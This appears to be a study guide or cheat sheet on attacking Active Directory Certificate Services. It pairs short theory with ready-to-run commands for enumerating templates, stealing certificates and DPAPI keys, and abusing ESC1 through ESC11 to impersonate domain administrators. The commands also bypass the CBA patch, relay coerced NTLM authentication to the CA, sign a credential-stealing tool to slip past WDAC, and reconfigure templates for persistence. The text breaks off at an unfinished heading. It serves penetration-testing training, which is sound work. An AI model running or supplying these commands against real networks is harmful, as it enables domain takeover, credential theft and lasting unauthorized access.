Tired of running tools like ADCSKiller, getting nothing in return or getting something but doesn’t understand why and how to exploit?

I recommend the following readings by SpecterOps, then study this material. More? Study the certification about ADCS of Altered Security.

Mandatory reading

Read this post first AD CS Attack by SpecterOps

Wanna go deeper? and i’m sure u want it.. Read the whitepaper to sharpen the theory: Whitepaper Certified Pre-Owned by SpecterOps

Introduction to AD CS

  • “Active Directory Certificate Services (AD CS) is a Windows Server role for issuing and managing Public Key Infrastructure (PKI) certificates used in secure communication and authentication protocols.”
  • The issued certificates can be used to:
    • Encrypt emails
    • Sign documents
    • Perform certificate-based authentication of user/computer/device accounts
    • And much more.
  • PKI authentication is an alternative to standard password authentication. It employs asymmetric encryption using digital signatures and certificates for encryption and authentication.

Overview of Certificate Enrollment

Components

  • Certification Authority (CA): Issues and manages certificates using Certificate Templates. AD CS CAs can be implemented as Root CAs and Sub CAs (requires AD CS role to be installed).
  • Certificate Template: Defines settings for a certificate. Contains information like enrollment permissions, EKUs, expiry, etc.

  • Certificate Enrollment Web Service (CES): Permits Windows users, computers, and applications to enroll and renew certificates using the HTTPS protocol through Web Enrollment endpoints.

  • Certificate Enrollment Policy Web Service: Enables users to obtain certificate enrollment policy information.
  • CA Web Enrollment: Provides a method to issue and renew certificates in scenarios where users use devices that are not joined to the domain or are running operating systems other than Windows.
  • Network Device Enrollment Service (NDES): Allows routers, switches, and other offline network devices to obtain certificates from AD CS (e.g., Microsoft Intune).

Certificate Formats

  • X.509 digital certificates are primarily used by AD CS.
  • Some commonly used X.509 certificate formats in AD CS are:
    • PEM: A Base64-encoded DER certificate commonly used with .pem, .crt, .cer, or .key extensions. It can store multiple private keys and certificates without password protection.
    • DER: Binary form of a PEM certificate.
    • PFX/P12 (PKCS#12): Binary form used to store multiple private keys and certificates with password protection.
    • P7B (PKCS#7): Used to store multiple chain certificates (does not store a private key).

Certificate Attributes

Some interesting certificate attributes are:

  • Subject: The entity to which the certificate is issued.
  • Issuer: The entity who issued the certificate, usually the Certificate Authority (CA).
  • Subject Alternative Name (SAN): Alternate names that a subject may use.
  • Validity Period: Duration of validity, including start and end dates.
  • Extended Key Usage (EKU): Defines the purpose for which the certificate can be used.

Certificate EKUs and OIDs

  • EKU (Enhanced Key Usage): Specifies the purpose for which a certificate can be used; it is an extension in X.509 certificates.
  • OID (Object Identifier): A unique identifier used to identify and classify objects and concepts in a standardized hierarchy.
  • EKUs and their corresponding OIDs are used to indicate the purpose or usage of a certificate. For example, the OID 1.3.6.1.5.5.7.3.2 corresponds to the Client Authentication EKU.
  • Custom EKUs and OIDs can be created based on an organization’s specific requirements.

Some commonly used EKU OIDs and their corresponding use cases:

  • Server Authentication (1.3.6.1.5.5.7.3.1): Used for server authentication in SSL/TLS communication.
  • Client Authentication (1.3.6.1.5.5.7.3.2): Allows verification of client identity for secure services access.
  • Code Signing (1.3.6.1.5.5.7.3.3): Used for signing executable code, scripts, and macros to ensure integrity and authenticity.
  • Secure Email (1.3.6.1.5.5.7.3.4): For digitally signing and encrypting email messages, ensuring confidentiality and integrity.
  • Encrypting File System (1.3.6.1.4.1.311.10.3.4): Allows encryption and decryption of files and folders on NTFS volumes.

Containers in AD

  • The Public Key Services container under ‘Configuration Naming Context’ holds all AD CS-related containers.
  • Some key containers include:
    • Certificate Templates: Stores certificate templates used by Enterprise CAs.
    • Certification Authorities: Stores trusted root certificates, which are propagated to each client’s Trusted Root Certification Authorities via Group Policy.
    • Enrollment Services: Stores Enterprise CA objects, helping clients locate Enterprise CAs. Certificates from this container are propagated to each client’s Intermediate Certification Authorities through Group Policy.
    • NTAuthCertificates: Holds certificates for CAs that issue smart card logon certificates and perform client private key archival. Smart card logon fails if there is no entry for the issuer here.

Tools for AD CS Attacks

We will mainly use the following two tools:

Extra Tools

Some notable tools include:

  • certi: Impacket copy of Certify to abuse AD CS.
  • ADCSKiller: Automated discovery and exploitation of AD CS abuses.
  • PKINITools: Repository containing utilities for working with PKINIT and certificates.
  • PoshAD CS: Proof of concept on attack vectors against Active Directory by abusing AD CS.
  • ForgeCert: Forge certificates for any user using compromised CA certificate and private keys.
  • pyForgeCert: Python equivalent of ForgeCert.
  • modifyCertTemplate: Python equivalent with more manual granular control of ForgeCert.
  • CarbonCopy: Creates a spoofed certificate of any online website and signs an executable for AV evasion.
  • KrbRelayUp: A universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced (default settings).

With appropriate privileges, it is possible to request, import, or export user or machine certificates from a machine. There are several ways to accomplish this interactively (using Windows Certificate Manager) or through Crypto WINAPIs.

To request, import, or export using Crypto WINAPIs, we can use tools such as Certify and CertUtil.

Request Certificate in PEM Format:

certify.exe request /ca:ca.corp\CA /template:User

Import Certificate into User Certificate Store:

certutil –user –importpfx C:\certs\user.pfx

Export Certificate from User Certificate Store using Certificate Serial:

certutil -user -exportpfx 5500000019b448b6ebb68c9b09000000000019 C:\certs\user.pfx

With a certificate valid for authentication (Client Authentication EKU set), it is possible to request a TGT using the PKINIT protocol. We will be using this technique for user/computer impersonation for the majority of the lab.

Basics of AD CS Abuse – PTC using PKINIT:

Rubeus.exe asktgt /user:<username in certificate> /certificate:<certificate name> /password:<certificate password> /domain:<domain name> /dc:<domain DC> /nowrap /ptt

We can use the PassTheCert tool for authentication as follows:

  • If we manage to gain a privileged user context in the domain, we can primarily use the PassTheCert tool to configure and abuse RBCD/Reset Password/DCSync, and more in Active Directory.

Basics of AD CS Abuse – PTC using Schannel:

PassTheCert.exe --server dc.corp --cert-path C:\certs\user.pfx --cert-password

An example command to perform the UnPAC the Hash (note the /getcredentials option):

  • An example command to perform the UnPAC the Hash attack using Certipy is as follows:

UnPAC the Hash Attack using Certipy

certipy auth -pfx /mnt/c/certs/user-unprotected.pfx

Using target user or machine account credentials, we can use S4U2Self to get a TGS for a service (e.g., CIFS, HOST, HTTP), impersonating any user including a Domain Administrator (DA). An example is as follows:

Example of S4U2Self Using Rubeus

Rubeus.exe s4u /self /impersonateuser:administrator /altservice:cifs/web.corp /dc:dc.corp /user:'web$' /rc4:B2FCBA1C3570AB9418994799B9BC985A /ptt
EVENT ID EVENT Type EVENT Source EVENT Description
39 Error System No strong mapping: No strong certificate mappings could be found because the certificate did not have the new security identifier (SID) extension that the KDC could validate.
40 Error System Certificate predates account: The certificate was issued to the user before the user existed in Active Directory and no strong mapping could be found.
41 Error System User and Certificate SID do not match: The SID contained in the new extension of the user’s certificate does not match the user’s SID, implying that the certificate was issued to another user.
  • A major issue introduced with this patch is while incorporating Offline Templates.
  • In Full-Enforcement mode, certificates issued using Network Device Enrollment Service (e.g., Microsoft Intune) to non-domain joined devices will be rejected by the KDC. This is because platforms like Intune use Offline Templates with NDES, and the CA is unable to perform target account retrieval to add the new SID extension in the client certificate.

PKISolutions released a Policy Module for ADCS:

  1. Stops User-crafted SID extension bypass
    • Define custom rules when identity retrieval is performed. Only requests that match the configuration will be processed by the policy module.
    • Define a custom action when an incoming request contains a potentially fraudulent SID extension.
  2. Fixes issues with Offline Templates
    • The policy module can automatically retrieve the target identity account and include the SID extension in certificates requested through NDES.

Enum

As a normal domain user, we can enumerate for the presence of AD CS in the target environment.

Look for AD CS containers using the AD Module

Get-ADObject -Filter * -SearchBase 'CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp'
ls 'AD:\CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp'

Based on ObjectClass

Get-ADObject -LDAPFilter '(objectclass=certificationAuthority)' -SearchBase 'CN=Configuration,DC=cb,DC=corp' | fl *

Using Certify

Enumerate CA

Certify.exe cas

Find Templates

Certify.exe find

Critical Certificate Extensions

We can enumerate the following critical extensions that may help us find and compromise certificates/private keys on disk:

  • .key: Contains just the private key.
  • .crt/.cer: Contains just the certificate.
  • .csr: Certificate signing request file. This does not contain certificates or keys.
  • .jks/.keystore/.keys: Java Keystore. May contain certs + private keys used by Java applications.
  • .pem: Contains certificate and associated private key (unprotected).
  • .pfx/.p12: Contains certificate and associated private key (protected).

An example PowerShell query to search for such certificate files recursively based on file extensions is shown below:

Get-ChildItem C:\ -include ('*.pem', '*.pfx', '*.p12', '*.crt', '*.cer', '*.key') -recurse -erroraction 'silentlycontinue'

Look for .ovpn files in the following directories:

  • %USERPROFILE%/OpenVPN/Config
  • %PROGRAMFILES%/OpenVPN/Config

You can use the following PowerShell command to search for .ovpn files in these directories:

Get-ChildItem "$env:USERPROFILE\OpenVPN\Config\*.ovpn" -ErrorAction 'SilentlyContinue'
Get-ChildItem "$env:ProgramFiles\OpenVPN\Config\*.ovpn" -ErrorAction 'SilentlyContinue'

Local Privesc

CertPotato

  • Virtual accounts (like apppool\defaultapppool) are used by services on a Windows machine. These are local managed service accounts.
  • If domain authentication is required by the service using a virtual account, the machine account will be used for authentication.
  • This is what the CertPotato vulnerability primarily preys on, as it abuses virtual accounts to gain a machine account context.
  • This can be exploited using the tgtdeleg trick to obtain a useful TGT to request a certificate as the machine account.

Below is a sample command abusing CertPotato to privilege escalate from virtual accounts to administrative privileges using the S4U2Self Attack.

Perform tgtdeleg Attack to Get a TGT

Rubeus.exe tgtdeleg /nowrap

Perform S4U2Self Attack to Gain CIFS Admin Access

Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/web.corp /dc:dc.corp /user:'web$' /rc4:B2FCBA1C3570AB9418994799B9BC985A /ptt

It is possible to list and export certificates from the Windows Certstore using built-in tools like CertUtil, built-in PowerShell Cmdlets, and external tools like CertStealer and CertifyKit.

CertUtil

List Certificates in Computer Store

certutil -store My

Export PFX Certificate Using Serial from Computer Store

certutil -p 'Passw0rd!' -exportpfx 3000000009ab1d2a9f13756439000000000009 C:\windows\temp\user.pfx

An example command to request a certificate to maintain user persistence using Certify is as follows:

Certify.exe request /ca:ca.corp\CA /template:User /user:user

A sample command to add this misconfiguration using Whisker is as follows:

Whisker.exe add /target:target$ /domain:domain.corp /dc:dc.corp /path:'C:\certs\web_shadow.pfx' /password:'Passw0rd!'

Escalating Domain Privileges

ESC1

We can escalate to higher domain privileges using ESC1 when the following conditions are present on a template:

  1. Key Usage Extensions:
    • Smart Card Logon: OID 1.3.6.1.4.1.311.20.2.2
    • PKINIT Authentication: OID 1.3.6.1.5.2.3.4
    • Client Authentication: OID 1.3.6.1.5.5.7.3.2
      • This EKU is enabled for Active Directory Authentication.
  2. Enrollment Rights:
    • Enrollment rights are enabled for a user that we control.
  3. ENROLLEE_SUPPLIES_SUBJECT Attribute:
    • This attribute allows the certificate requestor to specify any subjectAltName (SAN) to request a certificate as any user, including a Domain or Enterprise Administrator.

Target user(s) that are required to complete the goals of your operation or assessment.

Be aware that Domain Admin logons are more susceptible to detection.

Bypassing the CBA Patch Using Certify

An example command to abuse ESC1 while bypassing the CBA patch using Certify is as follows:

Certify.exe request /ca:dc.corp\CA /template:ProtectedUserAccess /altname:administrator /sidextension:S-1-5-21-1286082170-882298176-404569034-500 /domain:domain.corp

ESC2

ESC2 is very similar to the ESC1 abuse, with the following conditions that must be met on a template:

  • Any Purpose EKU: 2.5.29.37.0 or no EKU is enabled for AD Authentication.
  • Enrollment Rights: Enabled for a user that we control.
  • ENROLLEE_SUPPLIES_SUBJECT attribute: Enabled.

The only difference between ESC1 and ESC2 is the difference in EKUs. The Any Purpose EKU primarily allows an attacker to obtain a certificate for various purposes, such as Client Authentication, Server Authentication, Code Signing, etc.

ESC2 Abuse Example

An example to abuse ESC2 (Any Purpose EKU) by bypassing the CBA patch using Certify is as follows:

Certify.exe request /ca:dc.corp\CA /template:'Substitute-ProtectedUserAccess' /altname:administrator /sidextension:S-1-5-21-1286082170-882298176-404569034-500 /domain:domain.corp

Renewing a Certificate with certreq

An example to renew a certificate using certreq with its Serial Number is as follows:

# Renew the certificate and generate a new key
certreq -enroll -user -q -PolicyServer * -cert 620000001238d3cbef14353a19000000000012 renew reusekeys

# Renew the existing certificate
certreq -enroll -user -q -cert 620000001238d3cbef14353a19000000000012 renew

Data Protection API (DPAPI)

Data Protection API (DPAPI) provides the means for encrypting and decrypting data blobs using cryptographic keys associated with user or computer accounts. The key functions include:

  • CryptProtectData(): Used to encrypt data.
  • CryptUnprotectData(): Used to decrypt data.

Useful Registry Entries for User Certificates and Private Keys

  • Certificates:
    • HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates
    • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
  • Private Keys:
    • %APPDATA%\Microsoft\Crypto\RSA\<User SID>\
Obtaining DPAPI Masterkey in Plaintext

To obtain a specific DPAPI masterkey in plaintext (using mimikatz), we can perform one of the following methods:

  1. Using the Domain’s DPAPI Backup Key:
    • This key can decrypt any domain user’s masterkey file. If an adversary obtains domain admin (or equivalent) privileges, the domain backup key can be stolen and used to decrypt any domain user masterkey in plaintext.
  2. Decrypting the Masterkey Using the User’s Password:
    • This method involves using the corresponding user’s password to decrypt the masterkey.

An example command to use SharpDPAPI to decrypt discoverable masterkeys using the domain backup key is as follows:

SharpDPAPI.exe certificates /pvk:HvL1sAAAAAAXAAAAAAAAAAAAAACU.....

Useful Registry Entries for Machine Certificates and Private Keys

  • Certificates:
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates
    • %APPDATA%\Microsoft\Crypto\RSA\MachineKeys
  • Private Keys:
    • %APPDATA%\Microsoft\Crypto\RSA\MachineKeys

To extract a machine certificate by abusing DPAPI (using Mimikatz):

lsadump::secrets
crypto::certificates /export /systemstore:LOCAL_MACHINE

To perform the same operation automatically using SharpDPAPI, use the following command:

SharpDPAPI.exe certificates /machine

ESC4

In the Windows environment, certificate templates are securable objects and come with Access Control Lists (ACLs). When a certificate template has overly permissive ACLs, it can be modified to introduce misconfigurations, such as ESC1, ESC2, ESC3, and others—this is known as ESC4.

Critical Permissions for Abuse

The following rights on a certificate template are critical and can be abused to configure misconfigurations:

  • Owner: Full Control
  • FullControl: Full Control
  • WriteOwner: Modify Owner to grant Full Control
  • WriteDacl: Modify access control to grant Full Control
  • WriteProperty: Edit any properties

Example Commands to Configure ESC4 Vulnerability Using StandIn

If we have WriteProperty or equivalent privileges over a template, we can configure ESC4 by adding certain settings. Here are some commands using StandIn:

Enable ENROLLEE_SUPPLIES_SUBJECT:

StandIn_v13_Net45.exe --ADCS --filter SecureUpdate --ess --add

Certificate-Enrollment Permission:

StandIn_v13_Net45.exe --ADCS --filter SecureUpdate --ntaccount "cb\domain users" --enroll --add

Client Authentication EKU:

StandIn_v13_Net45.exe --ADCS --filter SecureUpdate --clientauth --add

Abusing ESC4 with Additional EKUs

In addition to Client Authentication EKU, other EKUs can also be exploited:

  • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
  • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
  • Any Purpose (OID: 2.5.29.37.0)
  • No EKU

By configuring Smart Card Logon EKU, it’s possible to impersonate any user by enrolling for a smartcard logon certificate for that user. If smartcards are not in use in the target environment, virtual smartcards can serve as an alternative for authentication.

Examples of ESC4 Abuse and Machine Certificate Request

Using CertifyKit’s /alter option, we can abuse the Smart Card Logon Extended Key Usage (EKU) to gain unauthorized access:

CertifyKit.exe request /ca:ca.corp\CA /template:'SecureUpdate' /altname:administrator /domain:domain.corp /alter /sidextension:S-1-5-21-2928296033-1822922359-262865665-500

This command targets the SecureUpdate template, specifies the alternative name as administrator, and includes a SID extension, effectively enabling a smartcard logon attack.

After escalating to Domain Admin (DA) privileges, the Domain Controller (DC) account can be targeted. With DC privileges, it’s possible to perform DCSync or S4U2Self attacks, ultimately compromising the entire domain.

Here’s an example command to request a machine certificate:

Certify.exe request /ca:ca.corp\CA /template:DomainController /machine

This request for a machine certificate leverages the DomainController template to authenticate as a DC, allowing further attacks against domain infrastructure.

ESC3

To exploit ESC3, you need two certificate templates configured as follows:

  • Template 1: Provides an Enrollment Agent Certificate
    • Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) is enabled.
    • Enrollment Rights are granted to a user that we control.
  • Template 2: Allows Enrollment Agent Certificate to be used on-behalf-of
    • Client Authentication EKU (1.3.6.1.5.5.7.3.2) is enabled.
    • Application Policy Issuance Requirement with Authorized Signatures Required set to 1.
    • Certificate Request Agent EKU is enabled.
    • Enrollment Rights are granted to a user that we control.

ESC3 Attack Process

  1. Step 1: Enroll in a template that has the Certificate Request Agent EKU (Template 1) to obtain an Enrollment Agent Certificate.
  2. Step 2: Use the Enrollment Agent certificate to enroll in another template (Template 2) on behalf of another user.

Step 1: Request Enrollment Agent Certificate

This command enrolls in Template 1 to receive an Enrollment Agent certificate:

Certify.exe request /ca:ca.corp\CA /template:StoreDataRecovery-Agent /user:certstore /domain:domain.corp

Step 2: Request Certificate on Behalf of Another User

Using the Enrollment Agent certificate obtained in Step 1, this command enrolls on behalf of another user:

Certify.exe request /ca:ca.corp\CA /template:StoreDataRecovery /onbehalfof:account\administrator /enrollcert:'C:\certs\esc3-enrollmentAgent.pfx' /enrollcertpw:'Passw0rd!' /domain:domain.corp

This process allows the attacker to request a certificate on behalf of a targeted user, effectively granting access as that user.

Domain Escalation (Code Signing)

Windows Defender Application Control (WDAC)

WDAC, formerly known as Device Guard, is an allowlisting solution by Microsoft designed to control which drivers and applications are allowed to run on Windows clients.

  • Purpose: Ensures only ‘known good code’ is executed, blocking untrusted code, drivers, and scripts.
  • Scope: WDAC policies apply to the entire managed computer, affecting all users on the device.

WDAC Setup:

  • Can be set up locally (vulnerable to admin access).
  • Can also be configured using Group Policy (more secure).

WDAC Rules: According to Microsoft documentation, WDAC rules can be defined based on:

  1. Code Signing Certificate: Attributes used to sign an app and its binaries.
  2. Binary Metadata: Attributes like original filename, version, or hash of the file.
  3. App Reputation: Determined by Microsoft’s Intelligent Security Graph.
  4. Initiating Process Identity: The identity of the process initiating app installation.
  5. Launch Path: Location from which the app/file is launched.
  6. Launching Process: Process that initiates the app or binary.

WDAC Policies:

  • Example Policies are located at C:\Windows\schemas\CodeIntegrity\ExamplePolicies.
  • WDAC policies can be managed/edited using the WDAC Policy Wizard.
  • Once enforced, a Policy Engine is stored as a .p7b file at C:\Windows\System32\CodeIntegrity.

Disabling WDAC:

  • If WDAC is set up locally, it can be disabled by deleting the .p7b file and rebooting the machine (requires admin privileges).
  • If WDAC is configured via GPO, deleting the file has no effect, as the configuration re-applies on reboot.

Code Signing

Code Signing helps ensure that files remain untampered and are verified by a Trusted Authority, implemented by Microsoft using Authenticode Signatures.

  • Authenticode: Identifies the publisher of signed software, verifying the integrity of the software since its signature.
  • A Code Signing Certificate can sign scripts, binaries, and files for trusted execution.

Code Signing in AD CS:

  • AD CS can distribute and manage Code Signing certificates using a specific template.
  • To set up a Code Signing template in AD CS:
    • Code Signing EKU (1.3.6.1.5.5.7.3.3) must be enabled.
  • This template allows code signing certificates to be issued, enabling scripts and binaries to be executed as trusted code across the domain.

Summary

  • WDAC provides an additional security layer by only allowing trusted applications.
  • Code Signing in AD CS, when misconfigured, can lead to domain privilege escalation if exploited to distribute trusted certificates for malicious scripts and binaries.

Signing Files Using a Code Signing Certificate

To sign files with a Code Signing Certificate, the signtool.exe utility, part of the .NET framework, can be used as shown in the example below:

signtool.exe sign /fd SHA256 /a /f C:\certs\SecureSigner.pfx /p 'Passw0rd!' CertStealer.exe
  • /fd SHA256: Specifies the file digest algorithm (in this case, SHA-256).
  • /a: Selects the best signing certificate automatically.
  • /f: Specifies the file path to the .pfx certificate file.
  • /p: Specifies the password for the certificate file.

This command allows you to sign CertStealer.exe with the certificate SecureSigner.pfx.

Encrypted File System (EFS) Certificates

In EFS (Encrypted File System), two types of certificates are crucial for encrypting and recovering files:

  1. Encrypting File System Certificates (1.3.6.1.4.1.311.10.3.4):
    • These certificates are used to encrypt and decrypt data on a per-user basis and are known as EFS Certificates.
  2. File Recovery Certificates (1.3.6.1.4.1.311.10.3.4.1):
    • These certificates, also known as EFS Data Recovery Agent (DRA) Certificates, allow for the recovery of all encrypted files and folders (both domain-wide and offline) regardless of who encrypted them.

Decryption Operations with EFS

Microsoft describes two methods to decrypt files protected by EFS:

  1. Using the Original EFS Certificate:
    • Retrieve the original EFS certificate that was used to encrypt the file and import it into the target computer’s certificate store.
  2. Using an EFS DRA Certificate:
    • Use an EFS DRA certificate to recover an encrypted file if the original EFS certificate is unavailable or lost.

ESC5

ESC5 refers to overly permissive Access Control Entries (ACEs) on privileged Active Directory Certificate Services (AD CS) objects. This misconfiguration can be exploited to compromise PKI infrastructure and gain persistence in the domain.

Potential Exploitation Scenarios

Overly permissive ACLs on AD CS objects, like the CA server computer object or AD CS containers, can lead to various escalation paths, including:

  • Compromising the CA Server’s Computer Object:
    • Using techniques like Resource-Based Constrained Delegation (RBCD) or Shadow Credentials to obtain admin access on the CA server.
  • Misconfigured ACLs on AD Objects:
    • Misconfigured ACEs on descendants like the Certificate Templates container, Certification Authorities container, or the NTAuthCertificates object, potentially leading to Domain Persistence.
  • Configuring RPC/DCOM Server on the CA Server:
    • Using the CA server’s RPC/DCOM server to introduce misconfigurations in AD CS for abuse at a later time.

Compromising the CA server provides the ability to control PKI and maintain long-term access to the domain.

Example: Abusing RBCD to Gain Admin Access on a CA Server

Below is an example command to abuse Resource-Based Constrained Delegation (RBCD) using SharpAllowedToAct and Rubeus:

Step 1: Create a Fake Machine Account:

SharpAllowedToAct.exe --ComputerAccountName FAKECOMPUTER --ComputerPassword 'Passw0rd!'
--TargetComputer cb-ca --Domain domain.corp -a ca.corp

Step 2: Use RBCD with Rubeus to Impersonate Admin:

Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:FC525C9683E8FE067095BA2DDC971889
/msdsspn:cifs/ca.corp /impersonateuser:administrator /domain:domain.corp /dc:ca.corp /ptt

Post-Exploitation Possibilities with Admin Access

Once admin access to the CA server is obtained, additional actions include:

  • Misconfiguring Certificate Templates:
    • Set up template ACL attacks like ESC4 to maintain persistence (DPERSIST3).
  • Forging Certificates for Golden Cert Attack:
    • Steal and use the RootCA to perform a Golden Certificate Attack (DPERSIST1).

By leveraging ESC5 vulnerabilities, attackers can compromise and control PKI infrastructure, granting them the ability to manage certificates, set up persistence mechanisms, and potentially compromise the entire domain.

Template Reconfiguration (DPERSIST3)

DPERSIST3 leverages template reconfiguration to maintain domain persistence. This technique is particularly effective after compromising a CA server, allowing attackers to configure vulnerable templates (like those exploited in ESC4) for on-demand privilege escalation.

Key Steps in DPERSIST3

  1. Assign WriteOwner Permission:
    • Add the WriteOwner permission to a specific certificate template for a controlled principal (e.g., an attacker-controlled account).
  2. Template Reconfiguration:
    • Once WriteOwner permission is obtained, reconfigure the template to include other vulnerabilities (such as ESC1, ESC2, ESC3, etc.).
  3. On-Demand Abuse:
    • With the reconfigured template, attackers can request certificates as needed to escalate privileges to Domain Admin (DA) or Enterprise Admin (EA) roles, maintaining persistent access.

Example Command for Template Reconfiguration

Using StandIn to assign WriteOwner permissions on a target template:

StandIn_v13_Net45.exe --adcs --filter User --ntaccount "account\user" --write --add

This command grants WriteOwner permission to the account account\user for the specified template, enabling further template misconfigurations (e.g., ESC4) that allow for domain persistence and privilege escalation.

By exploiting DPERSIST3, attackers can configure templates to enable long-term access to privileged roles, making it a powerful persistence technique in compromised environments.

ESC8 - NTLM Relay to AD CS HTTP Endpoints

ESC8 targets NTLM relaying to Active Directory Certificate Services (AD CS) HTTP endpoints for privilege escalation. AD CS provides several HTTP(S) endpoints that support certificate enrollment, including:

  • Web Enrollment (HTTP)
  • Certificate Enrollment Web Service (CES) (HTTPS)
  • Certificate Enrollment Policy Web Service
  • Network Device Enrollment Service (NDES)

Bypassing Anti-PetitPotam and Print Spooler Patches

Following recent Microsoft patches against PetitPotam and Print Spooler vulnerabilities, relaying NTLM authentication via those traditional methods has become more difficult. However, tools like Coercer can leverage alternative methods to force authentication.

Example Using Coercer

Step 1: Set Up an NTLM Listener on Target Host:

ntlmrelayx.py -t http://ca.corp/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

Step 2: Coerce Authentication to AD CS HTTP Endpoint

Using Coercer to initiate NTLM authentication:

Coercer.py coerce -l cb-ws.domain.corp -t dc.corp -u user -p 'IamtheF!rstStud3nt#' -d domain.corp -v --filter-method-name "EfsRpcDuplicateEncryptionInfoFile"

In this command:

  • ntlmrelayx.py: Sets up the NTLM relay listener, targeting an AD CS enrollment endpoint.
  • Coercer.py: Initiates coerced NTLM authentication using an alternative RPC method (EfsRpcDuplicateEncryptionInfoFile) to bypass the recent anti-coercion patches.

Cheatsheet

ESC8 abuses NTLM relaying to AD CS HTTP endpoints for privilege escalation. By coercing NTLM authentication, attackers can relay to AD CS endpoints for certificate enrollment, which can provide elevated domain privileges.

Key Tools and References

Steps to Execute

Set Up NTLM Relay Listener:

ntlmrelayx.py -t http://ca.corp/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

Coerce NTLM Authentication:

Use Coercer or another method to initiate NTLM authentication.

Coercer.py coerce -l cb-ws.domain.corp -t dc.corp -u user -p 'IamtheF!rstStud3nt#' -d domain.corp -v --filter-method-name "EfsRpcDuplicateEncryptionInfoFile"

ESC11 - NTLM Relay to AD CS ICPR Endpoints

ESC11 is similar to ESC8 but targets RPC endpoints instead of HTTP, particularly using ICPR (ICertPassage Remote Protocol) for NTLM relay. This method is useful when HTTP endpoints are secured, but the CA’s RPC interface is exposed.

Key Points

  • ICPR (ICertPassage Remote Protocol) can request certificates for Windows Client Certificate Enrollment.
  • IF_ENFORCEENCRYPTICERTREQUEST Flag: Prevents RPC relaying if enabled (packet privacy). Enabled by default on Windows Server 2012 and newer.

Important Considerations

  • Ensure RPC interface is accessible.
  • Relay attempts will fail if IF_ENFORCEENCRYPTICERTREQUEST is set, as packet privacy is enforced.

References

Cheatsheet

ESC11 allows NTLM relay abuse targeting AD CS RPC endpoints instead of HTTP. Using ICPR (ICertPassage Remote Protocol), attackers can request certificates via NTLM relays, gaining potentially privileged access if they can authenticate via the RPC interface.

Set Up NTLM Relay Listener:

ntlmrelayx.py -t "rpc://ca.corp" -rpc-mode ICPR -icpr-ca-name "CB-CA" -smb2support --adcs --template 'DomainControllerAuthentication'

Coerce NTLM Authentication:

Use Coercer to force NTLM authentication.

Coercer.py coerce -l cb-ws.domain.corp -t dc.corp -u user -p 'IamtheF!rstStud3nt#' -d domain.corp -v --filter-method-name "EfsRpcDuplicateEncryptionInfoFile"

Important Notes

  • Ensure the RPC endpoint is accessible for relaying.
  • If IF_ENFORCEENCRYPTICERTREQUEST (packet privacy) is enabled on the CA, relaying via RPC will not be possible. This is enabled by default on Windows Server 2012 and newer.

SSH Authentication using Signed Certificates

SSH supports multiple authentication types, including Certificate-based authentication, where a CA-signed certificate is used to authenticate users. This method offers security enhancements over public key-based authentication by introducing certificate expiry and metadata-based access control.

Authentication Methods

  1. Password-based: Authentication via username and password.
  2. Public key-based: Authentication using a public-private key pair.
  3. Certificate-based: Authentication via CA-signed certificates.

Benefits of SSH Certificate-based Authentication

  • Identity Binding: Certificates are associated with specific user identities.
  • Expiration: Certificates have an expiry date, reducing the risk of long-term unauthorized access.
  • Metadata Support: Certificates include metadata, which can be leveraged for role-based access control.
  • Trust Establishment: Certificates signed by the same CA for both user and host create a trust link, eliminating Trust On First Use (TOFU), unlike traditional public-key-based SSH.

VPN with Certificate-based Authentication

Certificates can be utilized for mutual authentication between VPN servers and clients. Typically, X.509 certificates are employed to facilitate secure authentication without being specific to any VPN implementation.

Certificate Storage on Linux

  • Location: Certificates are stored in the /etc/ssl directory or within flat NSS SQLite database files.
  • Network Security Services (NSS): A collection of libraries that support the development of security-enabled client and server applications. NSS supports protocols such as SSL v2/v3, TLS, PKCS #5, PKCS #7, etc.

Tools for Certificate Management in NSS

  1. certutil: Used to create and manage NSS databases.
  2. pk12util: Used to import and export certificates within NSS databases and tokens.

NSS Database Creation and Initialization

To create and initialize an NSS database, use:

certutil -d $HOME/.pki/nssdb -N

Importing and Exporting Certificates

Import a Certificate:

pk12util -i internaluser.p12 -d $HOME/.pki/nssdb

Export a Certificate:

pk12util -o /tmp/internaluser.p12 -n "internaluser - corp" -d $HOME/.pki/nssdb

Ensure that the NSS database is properly initialized before attempting to import certificates. Use appropriate file paths and permissions to manage certificates securely.

ESC7 - Vulnerable CA ACL

Certificate Authorities (CAs) may possess overly permissive Access Control Lists (ACLs), allowing low-privilege users elevated privileges. This situation is categorized as ESC7.

Privileges Involved

  1. ManageCA:
    • Grants the user rights to modify the CA’s configuration.
    • Implication: A user can enable Subject Alternative Name (SAN) on all templates by turning on the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute. This action potentially opens up attack paths such as ESC6, which may have been previously fixed.
  2. ManageCertificates:
    • Allows the user to issue certificates that are pending approval.
    • Implication: With this privilege, the user can approve pending certificates using their ManageCA rights.

Risks

  • Privilege Escalation: Low-privileged users can manipulate CA configurations and manage certificate issuance, leading to unauthorized access and potential exploitation of security vulnerabilities.
  • Misconfiguration: Granting excessive permissions to non-administrative users can result in significant security risks, as they may exploit these permissions for malicious purposes.

Mitigation Strategies

  • Review ACLs: Regularly audit and adjust the ACLs on CA objects to ensure that only necessary privileges are granted.
  • Implement Least Privilege: Follow the principle of least privilege by restricting user access to only what is necessary for their roles.

ESC7.1 with Certify

This section describes how to exploit vulnerable CA ACLs (ESC7) by leveraging ManageCertificate rights to approve a failed request and bypass CBA (Certificate-Based Authentication) patches.

Example Commands

Create a Failed Request

Certify.exe request /ca:ca.corp\CA /template:subCA /altname:administrator /domain:internal.corp /sidextension:S-1-5-21-2177854049-4204292666-1463338204-500

Approve the Failed Request

Certify-esc7.exe issue /ca:ca.corp\CA /id:58

Download the Approved Request

Certify-esc7.exe download /ca:ca.corp\CA /id:58

Adding Yourself as a New Officer

